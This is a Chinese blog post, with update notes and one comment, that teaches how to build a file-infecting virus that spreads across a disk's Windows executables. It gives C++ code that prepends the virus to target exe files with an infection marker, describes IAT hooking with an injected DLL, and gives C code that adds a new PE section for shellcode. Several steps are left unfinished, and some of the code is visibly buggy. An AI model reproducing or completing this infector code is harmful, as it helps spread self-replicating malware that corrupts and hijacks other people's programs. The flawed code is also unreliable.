简单的几种全盘感染程序以及实现【长期更新】

请注意,本文编写于 2139 天前,最后修改于 2139 天前,其中某些信息可能已经过时。

2019-01-13 22:25

正在龟速填坑,预期会添加一份C版的导入表新建节表插入代码。
和添加数据到程序尾部并修改入口点的。。
至于机器学习?回家再说。

说起来真的得需要一个跳转的东西来让大家知道到底哪些东西更新了。

2019-01-02 00:35

不知不觉甚至都2019了呀,意外地发现了这个坑。
先把这个拉上来,我一定要填坑!!!
看来似乎,真的得写一个Typecho客户端了。。。。

这个,肯定得找时间写完的啦。

2017-12-02 15:02

//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低

正文

首先,我们现需要做什么,先罗列出大致步骤

  1. 遍历文件,搜索全盘可执行的exe文件
  2. 在文件中插入我们的恶意代码,并且让恶意代码拥有自动复制的功能
  3. 没了

确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。


感染方式:文件更添

首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp

    void InjectExec(char *FilePath){
    char selfP[128];
    int AllSize = 0;
    GetModuleFileNameA(NULL, selfP, 128);
    char *s1 = ReadF(selfP);//获取自身
    int t1 = tmpSize;
    char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
    RtlMoveMemory(buffer1,s1,tmpSize);
    int tmp =0;
    if (buffer1[tmpSize - 1] == *"X"){
        bool x = true;
        do {
            
            if (x == true && buffer1[tmpSize-tmp]==*"X"){
                tmp += 1;
            }
            else{
                x = false;
                break;
            }

        } while (tmp < 5);//连续5次都是X,确认为标识符
        if (x = true){ return; }//已经感染过了,跳过
    }
    s1 = ReadF(FilePath);//获取被感染文件
    int t2= tmpSize;
    char *buffer2 = (char*)malloc((int)tmpSize);//同上
    RtlMoveMemory(buffer2, s1, tmpSize);
    AllSize = t1 + t2 + 5 ;
    char *s = (char*)malloc((int)AllSize);
    int i, i2,i3;
    for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
    for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
    for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
    WriteF(FilePath,s,AllSize);//写出

}

方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来

进阶版本:
仅在尾部插入shellcode,并修改入口点。

【未完待续】


感染方式二:IAT HOOK

PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:

  1. IAT Hook的原理
  2. API HOOK的 IAT方法

代码如下

//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 

python-IAT HOOK

方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。

#include <windows.h>
#include <stdio.h>
char PATH[]="d:\\2.exe";
char shellcode[]="";
int Filelength(FILE *fp);
int main(int argc, char const *argv[])
{
    DWORD dwRead;
    HANDLE hFile;
    int FileSize;
    char * FileBuffer;
    hFile = CreateFile(PATH,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    FileSize=GetFileSize(hFile,NULL);
    FileBuffer = (char*)malloc(FileSize+1);
    if(!ReadFile(hFile,FileBuffer,FileSize,&dwRead,NULL))return 1;
    FileBuffer[FileSize+1]='\0';//多写一位,当结束标识

    PIMAGE_FILE_HEADER MFHeader;
    //这里是指针偏移,也就是绕过开头的DOS区块。DOS块从长度是0x3c,0x4是指向IMAGE_FILE_HEADER
    MFHeader = (PIMAGE_FILE_HEADER)(char *)(FileBuffer + *(int *)(FileBuffer + 0x3c) + 0x4);
    //或者使用另一种写法
    //fseek(hFile,0x3c,SEEK_SET)这种写法可能会更好些?
    PIMAGE_OPTIONAL_HEADER  MOptHeader;//定位可选PE头
    MOptHeader = (PIMAGE_OPTIONAL_HEADER)((char *)MFHeader + 0x14);
    //定位节表
    PIMAGE_SECTION_HEADER MSecHeader;
    MSecHeader = (PIMAGE_SECTION_HEADER)((char *)MOptHeader + MFHeader->SizeOfOptionalHeader);
    char * ImageBuffer = (char *)malloc(MOptHeader->SizeOfImage+0x1000);
    //内存中整个PE映像体的尺寸
    //模拟PE程序被加载
    //同理我们也可以使用MapViewOfFile
    ZeroMemory(ImageBuffer, MOptHeader->SizeOfImage+0x1000);
    if (ImageBuffer == NULL)return 1;
    memcpy(ImageBuffer, FileBuffer, MOptHeader->SizeOfHeaders);
    //拷贝原有节表的数据到我们的内存空间
    for (int i = 0; i < MFHeader->NumberOfSections; i++)
    {
        memcpy(ImageBuffer + MSecHeader->VirtualAddress, FileBuffer + MSecHeader->PointerToRawData, MSecHeader->SizeOfRawData);
        MSecHeader++;
    }
    //构建新表
    PIMAGE_SECTION_HEADER nSec;
    nSec = MSecHeader;
    MSecHeader--;
    //nSec->Name = ".xxx";
    //不用这种方式是因为C++后面字符会有\0作为截断字符也一并会被写进去
    nSec->Name[0] = '.';
    nSec->Name[1] = 'd';
    nSec->Name[2] = 'a';
    nSec->Name[3] = 't';
    nSec->Misc.VirtualSize = 0x1000;
    nSec->VirtualAddress = MSecHeader->VirtualAddress + MSecHeader->SizeOfRawData;
    nSec->SizeOfRawData = 0x1000;
    nSec->PointerToRawData = MSecHeader->PointerToRawData + MSecHeader->SizeOfRawData;
    nSec->Characteristics=(MSecHeader - (MFHeader->NumberOfSections-1))->Characteristics;
    MFHeader->NumberOfSections+=1;
    MOptHeader->SizeOfImage+0x1000;
    //新节构建完成
    


    return 0;
}

感染方案三:PE空隙插入

(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。

1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。

其中,我们要拥有的技术有什么呢?

  • 编写“病毒代码”
  • 读入原入口点
  • 修改PE文件入口点
  • 添加新section或在section中插入代码
    了解了这些我们就开始吧。

相关文章:

  • [[原创]一步一步实现在PE文件中添加可执行代码][5]
  • [[原创]通过c++代码给PE文件添加一个区段][6]

(因为这个是汇编版,所以我得先填坑成CPP版

你以为我鸽了?其实并没有。【未完待续】

添加新评论

已有 1 条评论

看上去不错